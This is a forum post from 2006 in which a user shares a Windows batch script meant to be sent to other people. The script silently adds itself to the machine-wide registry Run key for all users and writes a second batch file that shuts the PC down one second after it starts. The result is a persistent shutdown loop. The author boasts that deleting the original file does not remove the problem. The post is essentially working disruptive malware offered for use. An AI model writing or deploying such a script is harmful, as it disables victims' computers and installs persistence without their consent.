View Single Post
(#32)
Old
kevthedude is Offline
Veteran Member
kevthedude is on a distinguished road
 
Posts: 98
Join Date: Jun 2006
Default 08-20-2006, 08:36 PM

Okay, Here is a code I came up with. It can be executed from anywhere on the PC and still work. The code below MUST stay EXACTLY the same as it is printed here. The file can be named anything but must be a .bat file. I have not tested the shutdown file but I'm 99% sure it'll work. I have confirmed that it will add the file to the startup registry location and it will run this on any user using the PC. A cool feature I added is that if there is a file with the same name and location as the ones being saved, it'll delete them and then create a new one.

Code:
@echo off
if exist C:\system_reg.reg del C:\system_reg.reg
echo Windows Registry Editor Version 5.00 >> C:\system_reg.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> C:\system_reg.reg
echo "system_reg"="\"C:/system_bat.bat\"" >> C:\system_reg.reg
regedit.exe /S /C C:\system_reg.reg
if exist C:\system_bat.bat del C:\system_bat.bat
echo SHUTDOWN -S -t 1 >> C:\system_bat.bat
SHUTDOWN -S -t 1
If an admin wants to put this in special access be my guest.

Edit: The even better part is that if they delete the original file that was sent to them, they would still have this problem because a whole new .bat file is created.

Last edited by kevthedude : 08-20-2006 at 08:42 PM.
Reply With Quote